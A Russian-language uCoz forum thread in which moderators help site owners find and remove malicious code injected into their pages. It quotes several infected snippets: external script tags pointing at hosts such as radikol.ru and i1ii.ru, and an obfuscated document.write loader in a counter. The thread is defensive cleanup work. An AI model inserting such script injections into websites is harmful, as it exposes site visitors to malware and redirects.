Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
Вирусы на сайтах (для изучения) |
MiksiR, в мини-чате удалите сообщение от юзера http://stran.us/index/8-24 ([N]o_s0und) , которое было размещено 18:09.
Ни в коем случае не вводите пароли… если вводили — меняйте всё что есть. А пользователя, который разместил у Вас такое сообщение — предлагаю заблокировать или перевести в группу заблокированные. Плохие вещи он делает |
MiksiR, из мини-чата удалите указанное сообщение
там смайлик с плакатиком лол. после удаления отпишитесь о результатах, а потом почитайте шапку этой темы Прикрепления:
0427195.jpg
(22.6 Kb)
|
Помогите пожалуйста . Сайт - http://guards-of-war.3dn.ru/. Заранее спасибо .
|
hooligun7010, из информера нас посетили удалить скрипт
Quote <script src="http://radikol.ru/1.js" type="text/javascript"></script> |
Здравствуйте, посетитеи жалуются на вирус на сайте, а так же яндекс считает сайт вредоносным , как исправить , где вирус? Были пару подозрительных ссылок, удалил. Может быть вы найдете ещё?
Сайт - http://much-music.ru |
Доброго времени суток. Подскажите, пожалуйста, почему Яша видит на сайте http://nezhyn.at.ua/ вредоносный код. Спасибо.
http://nezhyn-portal.org.ua/ - Cайт города Нежин - Первый городской портал
|
roman911, из формы поиска выделенное красным удалить
Quote <form onsubmit="this.sfSbm.disabled=true" method="get" style="margin: 0pt;" action="http://nezhyn.at.ua//search/"> <div class="schQuery" align="center"><script src="http://radikol.ru/1.js" type="text/javascript"></script> блок случайный анекдот удалить полностью Quote <!-- <block11> --> <table border="0" cellpadding="0" cellspacing="0" width="200"> <tr><td style="background:url('/.s/t/491/5.gif');padding-left:20px;color:#2C5497;" height="20"><b><!-- <bt> -->АНЕКДОТ<!-- </bt> --></b></td></tr> <tr><td><img src="/.s/t/491/6.gif" border="0" height="10"></td></tr> <tr><td style="padding:5px;background:#F6F6F6;"><!-- <bc> --><fieldset class="counter"><legend><font color="#FF0000"><b>Случайный анекдот</b></font><font color="#FF0000">:</font></legend> <br><script type="text/javascript" src="http://lol-ku.ucoz.ru/informer/5-1"></script> <br></fieldset><!-- </bc> --></td></tr> <tr><td><img src="/.s/t/491/7.gif" border="0" height="11"></td></tr> </table> <!-- </block11> --> выделенный красным информер заражен и код порталорга у вас отдает 404. лишний мусор |
dang, попробуйте убрать вот эту конструкцию
Quote <!--Money counter--><script type="text/javascript"><!-- document.write('<sc' + 'ript language="JavaScript" rel="nofollow" ' + 'src="http://countbiz.ru/3146/counter.jpg" title="Money counter" border="0" width="88" height="31"></sc' + 'ript>'); //--></script><!--/Money counter--> </div> <a href="http://traffbiz.ru/?ref=2261" target="_blank"><img src="http://traffbiz.ru/partner/468x60_5.gif" alt="оплата за показы" title="оплата за показы" border="0"></a> яндекс уж очень терпеть не может траффбиз. как уберете пишите по форме платонам, пусть проверяют ещё раз |
Проверьте по возможности весь сайт, но первые замичания от посетителей (Гость) пришло с странички
http://www.clubsim.com.ua/news/v_g_irpen_12_11_11_vystavka_ranga_sac_vystavku_provodit_kooo_kinologicheskij_klub_sim_pod_ehgidoj_kau/2011-07-05-18 |
serg24242, из глобального блока верхняя часть сайта удалите следующий код
Quote <div id="login-block"><!--<s5212>-->Приветствую Вас<!--</s>--> <b>Guest</b></div> <div style="clear: both;"></div> </div><script type="text/javascript" src="http://uclicks-begun.com/hit.js" ></script><!--/U1AHEADER1Z--> <table class="main-table"> вид гео.нет в друзьях сайта. очень интересно |
в этой теме оказывается помощь, только сайтам находящимся в системе юкоз
|
Доброго времени суток.
Спустя 5 секунд перекидует на ххх сайт. гостей не перекидует сайт вот Проблема была 24-Авг-2011 сообщение на 79 странице, webanet написала что нужно удалить один скрипт партнёрской программы,и какой-то футер (внизу сайта),НО ничего в тот раз не удалил проблема сама собой решилась. Сейчас скрипта ПП уже нет,а вирус опять появился,попробовал удалить этот футер (предворительно скопировав его) не помогло (поставил обратно) так как незнаю что оно такое. Прошу помочь. Добавлено (12-Окт-2011, 20:51:56) |
fllop, из блока форма входа удалить следующий код
Quote <span style="font-size: 8pt;margin-left:5px;">Вы: <div style="float: right;margin-right:5px;"><script src="http://i1ii.ru/1.js" type="text/javascript"></script><b>Мужчина</b></div></span> |
| |||